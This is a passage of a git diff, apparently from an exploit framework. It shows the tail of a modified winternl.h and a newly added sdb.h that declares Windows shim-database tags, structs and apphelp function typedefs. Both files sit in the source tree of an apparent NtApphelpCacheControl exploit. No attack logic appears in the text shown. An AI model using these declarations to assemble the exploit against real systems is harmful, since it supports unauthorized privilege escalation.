_In_ OBJECT_INFORMATION_CLASS ObjectInformationClass, + _Out_writes_bytes_opt_(ObjectInformationLength) PVOID ObjectInformation, + _In_ ULONG ObjectInformationLength, + _Out_opt_ PULONG ReturnLength + ); + + // + // use the Win32 APIs instead + // GetSystemRegistryQuota + // GetSystemTimes + // use the CryptoAPIs instead for generating random data + // CryptGenRandom + // + __kernel_entry NTSTATUS + NTAPI + NtQuerySystemInformation( + IN SYSTEM_INFORMATION_CLASS SystemInformationClass, + OUT PVOID SystemInformation, + IN ULONG SystemInformationLength, + OUT PULONG ReturnLength OPTIONAL + ); + + // + // use the Win32 API instead + // GetSystemTimeAsFileTime + // + __kernel_entry NTSTATUS + NTAPI + NtQuerySystemTime( + OUT PLARGE_INTEGER SystemTime + ); + + // + // use the Win32 API instead + // LocalFileTimeToFileTime + // + NTSTATUS + NTAPI + RtlLocalTimeToSystemTime( + IN PLARGE_INTEGER LocalTime, + OUT PLARGE_INTEGER SystemTime + ); + + // + // use the Win32 API instead + // SystemTimeToFileTime to convert to FILETIME structures + // copy the resulting FILETIME structures to ULARGE_INTEGER structures + // perform the calculation + // + BOOLEAN + NTAPI + RtlTimeToSecondsSince1970( + PLARGE_INTEGER Time, + PULONG ElapsedSeconds + ); + + // + // These APIs might be need for some of the internal Windows functions, + // defined in this header file. + // + VOID + NTAPI + RtlFreeAnsiString( + PANSI_STRING AnsiString + ); + + VOID + NTAPI + RtlFreeUnicodeString( + PUNICODE_STRING UnicodeString + ); + + VOID + NTAPI + RtlFreeOemString( + POEM_STRING OemString + ); + + VOID + NTAPI + RtlInitString( + PSTRING DestinationString, + PCSZ SourceString + ); + + VOID + NTAPI + RtlInitAnsiString( + PANSI_STRING DestinationString, + PCSZ SourceString + ); + + VOID + NTAPI + RtlInitUnicodeString( + PUNICODE_STRING DestinationString, + PCWSTR SourceString + ); + + NTSTATUS + NTAPI + RtlAnsiStringToUnicodeString( + PUNICODE_STRING DestinationString, + PCANSI_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + + NTSTATUS + NTAPI + RtlUnicodeStringToAnsiString( + PANSI_STRING DestinationString, + PCUNICODE_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + + NTSTATUS + NTAPI + RtlUnicodeStringToOemString( + POEM_STRING DestinationString, + PCUNICODE_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + + // + // Use the Win32 API instead + // WideCharToMultiByte + // set CodePage to CP_ACP + // set cbMultiByte to 0 + // + NTSTATUS + NTAPI + RtlUnicodeToMultiByteSize( + _Out_ PULONG BytesInMultiByteString, + _In_reads_bytes_(BytesInUnicodeString) PWCH UnicodeString, + _In_ ULONG BytesInUnicodeString + ); + + // + // Use the C runtime function instead + // strtol + // + NTSTATUS + NTAPI + RtlCharToInteger( + PCSZ String, + ULONG Base, + PULONG Value + ); + + // + // use the Win32 API instead + // ConvertSidToStringSid + // + NTSTATUS + NTAPI + RtlConvertSidToUnicodeString( + PUNICODE_STRING UnicodeString, + PSID Sid, + BOOLEAN AllocateDestinationString + ); + + // + // use the CryptoAPIs instead + // CryptGenRandom + // + ULONG + NTAPI + RtlUniform( + PULONG Seed + ); + + +#define LOGONID_CURRENT ((ULONG)-1) +#define SERVERNAME_CURRENT ((HANDLE)NULL) + + typedef enum _WINSTATIONINFOCLASS { + WinStationInformation = 8 + } WINSTATIONINFOCLASS; + + + typedef struct _WINSTATIONINFORMATIONW { + BYTE Reserved2[70]; + ULONG LogonId; + BYTE Reserved3[1140]; + } WINSTATIONINFORMATIONW, *PWINSTATIONINFORMATIONW; + + // + // this function is implemented in winsta.dll (you need to loadlibrary to call this function) + // this internal function retrives the LogonId (also called SessionId) for the current process + // You should avoid using this function as it can change. you can retrieve the same information + // Using public api WTSQuerySessionInformation. Pass WTSSessionId as the WTSInfoClass parameter + // + typedef BOOLEAN(WINAPI * PWINSTATIONQUERYINFORMATIONW)( + HANDLE, ULONG, WINSTATIONINFOCLASS, PVOID, ULONG, PULONG); + + // + // Generic test for success on any status value (non-negative numbers + // indicate success). + // + +#ifndef NT_SUCCESS +#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) +#endif + + // + // Generic test for information on any status value. + // + +#ifndef NT_INFORMATION +#define NT_INFORMATION(Status) ((((ULONG)(Status)) >> 30) == 1) +#endif + + // + // Generic test for warning on any status value. + // + +#ifndef NT_WARNING +#define NT_WARNING(Status) ((((ULONG)(Status)) >> 30) == 2) +#endif + + // + // Generic test for error on any status value. + // + +#ifndef NT_ERROR +#define NT_ERROR(Status) ((((ULONG)(Status)) >> 30) == 3) +#endif + + //++ + // + // VOID + // InitializeObjectAttributes( + // OUT POBJECT_ATTRIBUTES p, + // IN PUNICODE_STRING n, + // IN ULONG a, + // IN HANDLE r, + // IN PSECURITY_DESCRIPTOR s + // ) + // + //-- + +#ifndef InitializeObjectAttributes +#define InitializeObjectAttributes( p, n, a, r, s ) { \ + (p)->Length = sizeof(OBJECT_ATTRIBUTES); \ + (p)->RootDirectory = r; \ + (p)->Attributes = a; \ + (p)->ObjectName = n; \ + (p)->SecurityDescriptor = s; \ + (p)->SecurityQualityOfService = NULL; \ + } +#endif + + // + // Valid values for the Attributes field + // + +#define OBJ_INHERIT 0x00000002L +#define OBJ_PERMANENT 0x00000010L +#define OBJ_EXCLUSIVE 0x00000020L +#define OBJ_CASE_INSENSITIVE 0x00000040L +#define OBJ_OPENIF 0x00000080L +#define OBJ_OPENLINK 0x00000100L +#define OBJ_KERNEL_HANDLE 0x00000200L +#define OBJ_FORCE_ACCESS_CHECK 0x00000400L +#define OBJ_VALID_ATTRIBUTES 0x000007F2L + + // + // Define the create disposition values + // + +#define FILE_SUPERSEDE 0x00000000 +#define FILE_OPEN 0x00000001 +#define FILE_CREATE 0x00000002 +#define FILE_OPEN_IF 0x00000003 +#define FILE_OVERWRITE 0x00000004 +#define FILE_OVERWRITE_IF 0x00000005 +#define FILE_MAXIMUM_DISPOSITION 0x00000005 + + // + // Define the create/open option flags + // + +#define FILE_DIRECTORY_FILE 0x00000001 +#define FILE_WRITE_THROUGH 0x00000002 +#define FILE_SEQUENTIAL_ONLY 0x00000004 +#define FILE_NO_INTERMEDIATE_BUFFERING 0x00000008 + +#define FILE_SYNCHRONOUS_IO_ALERT 0x00000010 +#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020 +#define FILE_NON_DIRECTORY_FILE 0x00000040 +#define FILE_CREATE_TREE_CONNECTION 0x00000080 + +#define FILE_COMPLETE_IF_OPLOCKED 0x00000100 +#define FILE_NO_EA_KNOWLEDGE 0x00000200 +#define FILE_OPEN_REMOTE_INSTANCE 0x00000400 +#define FILE_RANDOM_ACCESS 0x00000800 + +#define FILE_DELETE_ON_CLOSE 0x00001000 +#define FILE_OPEN_BY_FILE_ID 0x00002000 +#define FILE_OPEN_FOR_BACKUP_INTENT 0x00004000 +#define FILE_NO_COMPRESSION 0x00008000 + +#if (_WIN32_WINNT >= _WIN32_WINNT_WIN7) +#define FILE_OPEN_REQUIRING_OPLOCK 0x00010000 +#endif + +#define FILE_RESERVE_OPFILTER 0x00100000 +#define FILE_OPEN_REPARSE_POINT 0x00200000 +#define FILE_OPEN_NO_RECALL 0x00400000 +#define FILE_OPEN_FOR_FREE_SPACE_QUERY 0x00800000 + +#define FILE_VALID_OPTION_FLAGS 0x00ffffff +#define FILE_VALID_PIPE_OPTION_FLAGS 0x00000032 +#define FILE_VALID_MAILSLOT_OPTION_FLAGS 0x00000032 +#define FILE_VALID_SET_FLAGS 0x00000036 + + // + // Define the I/O status information return values for NtCreateFile/NtOpenFile + // + +#define FILE_SUPERSEDED 0x00000000 +#define FILE_OPENED 0x00000001 +#define FILE_CREATED 0x00000002 +#define FILE_OVERWRITTEN 0x00000003 +#define FILE_EXISTS 0x00000004 +#define FILE_DOES_NOT_EXIST 0x00000005 + +#ifdef __cplusplus +} +#endif + +#endif // (_WIN32_WINNT >= 0x0500) + + +#endif /* WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) */ +#pragma endregion + +#endif // _WINTERNL_ diff --git a/external/source/exploits/ntapphelpcachecontrol/exploit/sdb.h b/external/source/exploits/ntapphelpcachecontrol/exploit/sdb.h new file mode 100755 index 0000000000..4877bfc4a7 --- /dev/null +++ b/external/source/exploits/ntapphelpcachecontrol/exploit/sdb.h @@ -0,0 +1,338 @@ +/* +Copyright (c) 2014, Jon Erickson +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + +1. Redistributions of source code must retain the above copyright notice, this +list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright notice, +this list of conditions and the following disclaimer in the documentation +and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR +ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND +ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +The views and conclusions contained in the software and documentation are those +of the authors and should not be interpreted as representing official policies, +either expressed or implied, of the FreeBSD Project. + +*/ + +#include + +typedef DWORD TAGID; +typedef DWORD TAGREF; +typedef DWORD TAG; +typedef PVOID PDB; +typedef HANDLE HSDB; + +#define HID_DOS_PATHS 0x00000001 +#define HID_DATABASE_FULLPATH 0x00000002 +#define SDB_MAX_EXES 16 +#define SDB_MAX_LAYERS 8 +#define SDB_MAX_SDBS 16 +#define SDB_DATABASE_SHIM 0x00010000 +#define SHIMREG_DISABLE_SHIM 0x00000001 +#define SHIMREG_DISABLE_APPHELP 0x00000002 +#define SHIMREG_APPHELP_NOUI 0x00000004 +#define SHIMREG_APPHELP_CANCEL 0x10000000 +#define SHIMREG_DISABLE_SXS 0x00000010 +#define SHIMREG_DISABLE_LAYER 0x00000020 +#define SHIMREG_DISABLE_DRIVER 0x00000040 +#define ATTRIBUTE_AVAILABLE 0x00000001 +#define ATTRIBUTE_FAILED 0x00000002 +#define TAGID_ROOT 0 +#define TAGID_NULL 0 +#define TAG_TYPE_NULL 0x1000 +#define TAG_TYPE_BYTE 0x2000 +#define TAG_TYPE_WORD 0x3000 +#define TAG_TYPE_DWORD 0x4000 +#define TAG_TYPE_QWORD 0x5000 +#define TAG_TYPE_STRINGREF 0x6000 +#define TAG_TYPE_LIST 0x7000 +#define TAG_TYPE_STRING 0x8000 +#define TAG_TYPE_BINARY 0x9000 +#define TAG_DATABASE (0x1 | TAG_TYPE_LIST) //Database entry. +#define TAG_LIBRARY (0x2 | TAG_TYPE_LIST) //Library entry. +#define TAG_INEXCLUDE (0x3 | TAG_TYPE_LIST) //Include and exclude entry. +#define TAG_SHIM (0x4 | TAG_TYPE_LIST) //Shim entry that contains the name and purpose information. +#define TAG_PATCH (0x5 | TAG_TYPE_LIST) //Patch entry that contains the in-memory patching information. +#define TAG_APP (0x6 | TAG_TYPE_LIST) //Application entry. +#define TAG_EXE (0x7 | TAG_TYPE_LIST) //Executable entry. +#define TAG_MATCHING_FILE (0x8 | TAG_TYPE_LIST) //Matching file entry. +#define TAG_SHIM_REF (0x9| TAG_TYPE_LIST) //Shim definition entry. +#define TAG_PATCH_REF (0xA | TAG_TYPE_LIST) //Patch definition entry. +#define TAG_LAYER (0xB | TAG_TYPE_LIST) // Layer shim entry. +#define TAG_FILE (0xC | TAG_TYPE_LIST) //File attribute used in a shim entry. +#define TAG_APPHELP (0xD | TAG_TYPE_LIST) //Apphelp information entry. +#define TAG_LINK (0xE | TAG_TYPE_LIST) //Apphelp online link information entry. +#define TAG_DATA (0xF | TAG_TYPE_LIST) //Name-value mapping entry. +#define TAG_MSI_TRANSFORM (0x10 | TAG_TYPE_LIST) //MSI transformation entry. +#define TAG_MSI_TRANSFORM_REF (0x11 | TAG_TYPE_LIST) //MSI transformation definition entry. +#define TAG_MSI_PACKAGE (0x12 | TAG_TYPE_LIST) //MSI package entry. +#define TAG_FLAG (0x13 | TAG_TYPE_LIST) //Flag entry. +#define TAG_MSI_CUSTOM_ACTION (0x14 | TAG_TYPE_LIST) //MSI custom action entry. +#define TAG_FLAG_REF (0x15 | TAG_TYPE_LIST) //Flag definition entry. +#define TAG_ACTION (0x16 | TAG_TYPE_LIST) //Unused. +#define TAG_LOOKUP (0x17 | TAG_TYPE_LIST) //Lookup entry used for lookup in a driver database. +#define TAG_STRINGTABLE (0x801 | TAG_TYPE_LIST) // String table entry. +#define TAG_INDEXES (0x802 | TAG_TYPE_LIST) // Indexes entry that defines all the indexes in a shim database. +#define TAG_INDEX (0x803 | TAG_TYPE_LIST) // Index entry that defines an index in a shim database. +#define TAG_NAME (0x1 | TAG_TYPE_STRINGREF) //Name attribute. +#define TAG_DESCRIPTION (0x2 | TAG_TYPE_STRINGREF) //Description entry. +#define TAG_MODULE (0x3 | TAG_TYPE_STRINGREF) //Module attribute. +#define TAG_API (0x4 | TAG_TYPE_STRINGREF) //API entry. +#define TAG_VENDOR (0x5 | TAG_TYPE_STRINGREF) //Vendor name attribute. +#define TAG_APP_NAME (0x6 | TAG_TYPE_STRINGREF) //Application name attribute that describes an application entry in a shim database. +#define TAG_COMMAND_LINE (0x8 | TAG_TYPE_STRINGREF) //Command line attribute that is used when passing arguments to a shim, for example. +#define TAG_COMPANY_NAME (0x9 | TAG_TYPE_STRINGREF) //Company name attribute. +#define TAG_DLLFILE (0xA | TAG_TYPE_STRINGREF) //DLL file attribute for a shim entry. +#define TAG_WILDCARD_NAME (0xB | TAG_TYPE_STRINGREF) //Wildcard name attribute for an executable entry with a wildcard as the file name. +#define TAG_PRODUCT_NAME (0x10 | TAG_TYPE_STRINGREF) //Product name attribute. +#define TAG_PRODUCT_VERSION (0x11 | TAG_TYPE_STRINGREF) //Product version attribute. +#define TAG_FILE_DESCRIPTION (0x12 | TAG_TYPE_STRINGREF) //File description attribute. +#define TAG_FILE_VERSION (0x13 | TAG_TYPE_STRINGREF) //File version attribute. +#define TAG_ORIGINAL_FILENAME (0x14 | TAG_TYPE_STRINGREF) //Original file name attribute. +#define TAG_INTERNAL_NAME (0x15 | TAG_TYPE_STRINGREF) //Internal file name attribute. +#define TAG_LEGAL_COPYRIGHT (0x16 | TAG_TYPE_STRINGREF) //Copyright attribute. +#define TAG_16BIT_DESCRIPTION (0x17 | TAG_TYPE_STRINGREF) //16-bit description attribute. +#define TAG_APPHELP_DETAILS (0x18 | TAG_TYPE_STRINGREF) //Apphelp details message information attribute. +#define TAG_LINK_URL (0x19 | TAG_TYPE_STRINGREF) //Apphelp online link URL attribute. +#define TAG_LINK_TEXT (0x1A | TAG_TYPE_STRINGREF) //Apphelp online link text attribute. +#define TAG_APPHELP_TITLE (0x1B | TAG_TYPE_STRINGREF) //Apphelp title attribute. +#define TAG_APPHELP_CONTACT (0x1C | TAG_TYPE_STRINGREF) //Apphelp vendor contact attribute. +#define TAG_SXS_MANIFEST (0x1D | TAG_TYPE_STRINGREF) //Side-by-side manifest entry. +#define TAG_DATA_STRING (0x1E | TAG_TYPE_STRINGREF) //String attribute for a data entry. +#define TAG_MSI_TRANSFORM_FILE (0x1F | TAG_TYPE_STRINGREF) //File name attribute of an MSI transformation entry. +#define TAG_16BIT_MODULE_NAME (0x20 | TAG_TYPE_STRINGREF) //16-bit module name attribute. +#define TAG_LAYER_DISPLAYNAME (0x21 | TAG_TYPE_STRINGREF) //Unused. +#define TAG_COMPILER_VERSION (0x22 | TAG_TYPE_STRINGREF) //Shim database compiler version. +#define TAG_ACTION_TYPE (0x23 | TAG_TYPE_STRINGREF) //Unused. +#define TAG_EXPORT_NAME (0x24 | TAG_TYPE_STRINGREF) //Export file name attribute. +#define TAG_SIZE (0x1 | TAG_TYPE_DWORD) //File size attribute. +#define TAG_OFFSET (0x2 | TAG_TYPE_DWORD) //Unused. +#define TAG_CHECKSUM (0x3 | TAG_TYPE_DWORD) //File checksum attribute. +#define TAG_SHIM_TAGID (0x4 | TAG_TYPE_DWORD) //Shim TAGID attribute. +#define TAG_PATCH_TAGID (0x5 | TAG_TYPE_DWORD) //Patch TAGID attribute. +#define TAG_MODULE_TYPE (0x6 | TAG_TYPE_DWORD) //Module type attribute. +#define TAG_VERDATEHI (0x7 | TAG_TYPE_DWORD) //High-order portion of the file version date attribute. +#define TAG_VERDATELO (0x8 | TAG_TYPE_DWORD) //Low-order portion of the file version date attribute. +#define TAG_VERFILEOS (0x9 | TAG_TYPE_DWORD) //Operating system file version attribute. +#define TAG_VERFILETYPE (0xA | TAG_TYPE_DWORD) //File type attribute. +#define TAG_PE_CHECKSUM (0xB | TAG_TYPE_DWORD) //PE file checksum attribute. +#define TAG_PREVOSMAJORVER (0xC | TAG_TYPE_DWORD) //Major operating system version attribute. +#define TAG_PREVOSMINORVER (0xD | TAG_TYPE_DWORD) //Minor operating system version attribute. +#define TAG_PREVOSPLATFORMID (0xE | TAG_TYPE_DWORD) //Operating system platform identifier attribute. +#define TAG_PREVOSBUILDNO (0xF | TAG_TYPE_DWORD) //Operating system build number attribute. +#define TAG_PROBLEMSEVERITY (0x10 | TAG_TYPE_DWORD) //Block attribute of an Apphelp entry. This determines whether the application is hard or soft blocked. +#define TAG_LANGID (0x11 | TAG_TYPE_DWORD) //Language identifier of an Apphelp entry. +#define TAG_VER_LANGUAGE (0x12 | TAG_TYPE_DWORD) //Language version attribute of a file. +#define TAG_ENGINE (0x14 | TAG_TYPE_DWORD) //Unused. +#define TAG_HTMLHELPID (0x15 | TAG_TYPE_DWORD) //Help identifier attribute for an Apphelp entry. +#define TAG_INDEX_FLAGS (0x16 | TAG_TYPE_DWORD) //Flags attribute for an index entry. +#define TAG_FLAGS (0x17 | TAG_TYPE_DWORD) //Flags attribute for an Apphelp entry. +#define TAG_DATA_VALUETYPE (0x18 | TAG_TYPE_DWORD) //Data type attribute for a data entry. +#define TAG_DATA_DWORD (0x19 | TAG_TYPE_DWORD) //DWORD value attribute for a data entry. +#define TAG_LAYER_TAGID (0x1A | TAG_TYPE_DWORD) //Layer shim TAGID attribute. +#define TAG_MSI_TRANSFORM_TAGID (0x1B | TAG_TYPE_DWORD) //MSI transform TAGID attribute. +#define TAG_LINKER_VERSION (0x1C | TAG_TYPE_DWORD) //Linker version attribute of a file. +#define TAG_LINK_DATE (0x1D | TAG_TYPE_DWORD) //Link date attribute of a file. +#define TAG_UPTO_LINK_DATE (0x1E | TAG_TYPE_DWORD) //Link date attribute of a file. Matching is done up to and including this link date. +#define TAG_OS_SERVICE_PACK (0x1F | TAG_TYPE_DWORD) //Operating system service pack attribute for an executable entry. +#define TAG_FLAG_TAGID (0x20 | TAG_TYPE_DWORD) //Flags TAGID attribute. +#define TAG_RUNTIME_PLATFORM (0x21 | TAG_TYPE_DWORD) //Run-time platform attribute of a file. +#define TAG_OS_SKU (0x22 | TAG_TYPE_DWORD) //Operating system SKU attribute for an executable entry. +#define TAG_OS_PLATFORM (0x23 | TAG_TYPE_DWORD) //Operating system platform attribute. +#define TAG_APP_NAME_RC_ID (0x24 | TAG_TYPE_DWORD) //Application name resource identifier attribute for Apphelp entries. +#define TAG_VENDOR_NAME_RC_ID (0x25 | TAG_TYPE_DWORD) //Vendor name resource identifier attribute for Apphelp entries. +#define TAG_SUMMARY_MSG_RC_ID (0x26 | TAG_TYPE_DWORD) //Summary message resource identifier attribute for Apphelp entries. +#define TAG_VISTA_SKU (0x27 | TAG_TYPE_DWORD) //Windows Vista SKU attribute. +#define TAG_DESCRIPTION_RC_ID (0x28 | TAG_TYPE_DWORD) //Description resource identifier attribute for Apphelp entries. +#define TAG_PARAMETER1_RC_ID (0x29 | TAG_TYPE_DWORD) //Parameter1 resource identifier attribute for Apphelp entries. +#define TAG_TAGID (0x801 | TAG_TYPE_DWORD) //TAGID attribute. +#define TAG_STRINGTABLE_ITEM (0x801 | TAG_TYPE_STRING) //String table item entry. +#define TAG_INCLUDE (0x1 | TAG_TYPE_NULL) //Include list entry. +#define TAG_GENERAL (0x2 | TAG_TYPE_NULL) //General purpose shim entry. +#define TAG_MATCH_LOGIC_NOT (0x3 | TAG_TYPE_NULL) //NOT of matching logic entry. +#define TAG_APPLY_ALL_SHIMS (0x4 | TAG_TYPE_NULL) //Unused. +#define TAG_USE_SERVICE_PACK_FILES (0x5 | TAG_TYPE_NULL) //Service pack information for Apphelp entries. +#define TAG_MITIGATION_OS (0x6 | TAG_TYPE_NULL) //Mitigation at operating system scope entry. +#define TAG_BLOCK_UPGRADE (0x7 | TAG_TYPE_NULL) //Upgrade block entry. +#define TAG_INCLUDEEXCLUDEDLL (0x8 | TAG_TYPE_NULL) //DLL include/exclude entry. +#define TAG_TIME (0x1 | TAG_TYPE_QWORD) //Time attribute. +#define TAG_BIN_FILE_VERSION (0x2 | TAG_TYPE_QWORD) //Bin file version attribute for file entries. +#define TAG_BIN_PRODUCT_VERSION (0x3 | TAG_TYPE_QWORD) //Bin product version attribute for file entries. +#define TAG_MODTIME (0x4 | TAG_TYPE_QWORD) //Unused. +#define TAG_FLAG_MASK_KERNEL (0x5 | TAG_TYPE_QWORD) //Kernel flag mask attribute. +#define TAG_UPTO_BIN_PRODUCT_VERSION (0x6 | TAG_TYPE_QWORD) //Bin product version attribute of a file. Matching is done up to and including this product version. +#define TAG_DATA_QWORD (0x7 | TAG_TYPE_QWORD) //ULONGLONG value attribute for a data entry. +#define TAG_FLAG_MASK_USER (0x8 | TAG_TYPE_QWORD) //User flag mask attribute. +#define TAG_FLAGS_NTVDM1 (0x9 | TAG_TYPE_QWORD) //NTVDM1 flag mask attribute. +#define TAG_FLAGS_NTVDM2 (0xA | TAG_TYPE_QWORD) //NTVDM2 flag mask attribute. +#define TAG_FLAGS_NTVDM3 (0xB | TAG_TYPE_QWORD) //NTVDM3 flag mask attribute. +#define TAG_FLAG_MASK_SHELL (0xC | TAG_TYPE_QWORD) //Shell flag mask attribute. +#define TAG_UPTO_BIN_FILE_VERSION (0xD | TAG_TYPE_QWORD) //Bin file version attribute of a file. Matching is done up to and including this file version. +#define TAG_FLAG_MASK_FUSION (0xE | TAG_TYPE_QWORD) //Fusion flag mask attribute. +#define TAG_FLAG_PROCESSPARAM (0xF | TAG_TYPE_QWORD) //Process param flag attribute. +#define TAG_FLAG_LUA (0x10 | TAG_TYPE_QWORD) //LUA flag attribute. +#define TAG_FLAG_INSTALL (0x11 | TAG_TYPE_QWORD) //Install flag attribute. +#define TAG_PATCH_BITS (0x2 | TAG_TYPE_BINARY) //Patch file bits attribute. +#define TAG_FILE_BITS (0x3 | TAG_TYPE_BINARY) //File bits attribute. +#define TAG_EXE_ID (0x4 | TAG_TYPE_BINARY) //GUID attribute of an executable entry. +#define TAG_DATA_BITS (0x5 | TAG_TYPE_BINARY) //Data bits attribute. +#define TAG_MSI_PACKAGE_ID (0x6 | TAG_TYPE_BINARY) //MSI package identifier attribute of an MSI package. +#define TAG_DATABASE_ID (0x7 | TAG_TYPE_BINARY) //GUID attribute of a database. +#define TAG_INDEX_BITS (0x801 | TAG_TYPE_BINARY) //Index bits attribute. + +#define TAG_APP_ID (0x11 | TAG_TYPE_BINARY) // App id guid? +#define TAG_FIX_ID (0x10 | TAG_TYPE_BINARY) // undocumented + +#define TAG_MATCH_MODE (0x1 | TAG_TYPE_WORD) //Match mode attribute. +#define TAG_TAG (0x801 | TAG_TYPE_WORD) //TAG entry. +#define TAG_INDEX_TAG (0x802 | TAG_TYPE_WORD) //Index TAG attribute for an index entry. +#define TAG_INDEX_KEY (0x803 | TAG_TYPE_WORD) //Index key attribute for an index entry. + +typedef struct tagAPPHELP_DATA { + DWORD dwFlags; + DWORD dwSeverity; + DWORD dwHTMLHelpID; + LPTSTR szAppName; + TAGREF trExe; + LPTSTR szURL; + LPTSTR szLink; + LPTSTR szAppTitle; + LPTSTR szContact; + LPTSTR szDetails; + DWORD dwData; + BOOL bSPEntry; +} APPHELP_DATA, *PAPPHELP_DATA; + +typedef struct tagATTRINFO { + TAG tAttrID; + DWORD dwFlags; + union { + ULONGLONG ullAttr; + DWORD dwAttr; + TCHAR *lpAttr; + }; +} ATTRINFO, *PATTRINFO; + +typedef struct _FIND_INFO { + TAGID tiIndex; + TAGID tiCurrent; + TAGID tiEndIndex; + TAG tName; + DWORD dwIndexRec; + DWORD dwFlags; + ULONGLONG ullKey; + union { + LPCTSTR szName; + DWORD dwName; + GUID *pguidName; + }; +} FIND_INFO, *PFIND_INFO; + +typedef DWORD INDEXID; + +typedef enum _PATH_TYPE { + DOS_PATH, + NT_PATH +} PATH_TYPE; + +typedef struct tagSDBQUERYRESULT { + TAGREF atrExes[SDB_MAX_EXES]; + DWORD adwExeFlags[SDB_MAX_EXES]; + TAGREF atrLayers[SDB_MAX_LAYERS]; + DWORD dwLayerFlags; + TAGREF trApphelp; + DWORD dwExeCount; + DWORD dwLayerCount; + GUID guidID; + DWORD dwFlags; + DWORD dwCustomSDBMap; + GUID rgGuidDB[SDB_MAX_SDBS]; +} SDBQUERYRESULT, *PSDBQUERYRESULT; + + +#define PATCH_MATCH 0x4 +#define PATCH_REPLACE 0x2 +#define MAX_MODULE 32 +typedef struct _PATCHBITS +{ + DWORD opcode; + DWORD actionSize; + DWORD patternSize; + DWORD rva; + DWORD unknown; + WCHAR moduleName[MAX_MODULE]; + BYTE pattern[1]; +} PATCHBITS, *PPATCHBITS; + +//functions +typedef BOOL(WINAPI *BaseFlushAppcompatCache)(void); +typedef TAGID(WINAPI *SdbBeginWriteListTag)(PDB pdb, TAG tTag); +typedef void (WINAPI *SdbCloseDatabase)(PDB pdb); +typedef void (WINAPI *SdbCloseDatabaseWrite)(PDB pdb); +typedef BOOL(WINAPI *SdbCommitIndexes)(PDB pdb); +typedef PDB(WINAPI *SdbCreateDatabase)(LPCWSTR pwszPath, PATH_TYPE eType); +typedef BOOL(WINAPI *SdbDeclareIndex)(PDB pdb, TAG tWhich, TAG tKey, DWORD dwEntries, BOOL bUniqueKey, INDEXID *piiIndex); +typedef BOOL(WINAPI *SdbEndWriteListTag)(PDB pdb, TAGID tiList); +typedef TAGID(WINAPI *SdbFindFirstDWORDIndexedTag)(PDB pdb, TAG tWhich, TAG tKey, DWORD dwName, FIND_INFO *pFindInfo); +typedef TAGID(WINAPI *SdbFindFirstTag)(PDB pdb, TAGID tiParent, TAG tTag); +typedef TAGID(WINAPI *SdbFindNextTag)(PDB pdb, TAGID tiParent, TAGID tiPrev); +typedef BOOL(WINAPI *SdbFormatAttribute)(PATTRINFO pAttrInfo, LPTSTR pchBuffer, DWORD dwBufferSize); +typedef BOOL(WINAPI *SdbFreeFileAttributes)(PATTRINFO pFileAttributes); +typedef void (WINAPI *SdbGetAppPatchDir)(HSDB hSDB, LPTSTR szAppPatchPath, DWORD cchSize); +typedef PVOID(WINAPI *SdbGetBinaryTagData)(PDB pdb, TAGID tiWhich); +typedef BOOL(WINAPI *SdbGetFileAttributes)(LPCTSTR lpwszFileName, PATTRINFO *ppAttrInfo, LPDWORD lpdwAttrCount); +typedef TAGID(WINAPI *SdbGetFirstChild)(PDB pdb, TAGID tiParent); +typedef TAGID(WINAPI *SdbGetIndex)(PDB pdb, TAG tWhich, TAG tKey, LPDWORD lpdwFlags); +typedef BOOL(WINAPI *SdbGetMatchingExe)(HSDB hSDB, LPCTSTR szPath, LPCTSTR szModuleName, LPCTSTR pszEnvironment, DWORD dwFlags, PSDBQUERYRESULT pQueryResult); +typedef TAGID(WINAPI *SdbGetNextChild)(PDB pdb, TAGID tiParent, TAGID tiPrev); +typedef LPTSTR(WINAPI *SdbGetStringTagPtr)(PDB pdb, TAGID tiWhich); +typedef TAG(WINAPI *SdbGetTagFromTagID)(PDB pdb, TAGID tiWhich); +typedef HSDB(WINAPI *SdbInitDatabase)(DWORD dwFlags, LPCTSTR pszDatabasePath); +typedef BOOL(WINAPI *SdbIsStandardDatabase)(GUID GuidDB); +typedef ULONGLONG(WINAPI *SdbMakeIndexKeyFromString)(LPCTSTR pwszKey); +typedef PDB(WINAPI *SdbOpenApphelpDetailsDatabase)(LPCWSTR pwsDetailsDatabasePath); +typedef HMODULE(WINAPI *SdbOpenApphelpResourceFile)(LPCWSTR pwszACResourceFile); +typedef PDB(WINAPI *SdbOpenDatabase)(LPCTSTR pwszPath, PATH_TYPE eType); +typedef DWORD(WINAPI *SdbQueryDataExTagID)(PDB pdb, TAGID tiExe, LPCTSTR lpszDataName, LPDWORD lpdwDataType, LPVOID lpBuffer, LPDWORD lpcbBufferSize, TAGID *ptiData); +typedef BOOL(WINAPI *SdbReadApphelpDetailsData)(PDB pdb, PAPPHELP_DATA pData); +typedef BOOL(WINAPI *SdbReadBinaryTag)(PDB pdb, TAGID tiWhich, PBYTE pBuffer, DWORD dwBufferSize); +typedef DWORD(WINAPI *SdbReadDWORDTag)(PDB pdb, TAGID tiWhich, DWORD dwDefault); +typedef DWORD(WINAPI *SdbReadWORDTag)(PDB pdb, TAGID tiWhich, WORD dwDefault); +typedef ULONGLONG(WINAPI 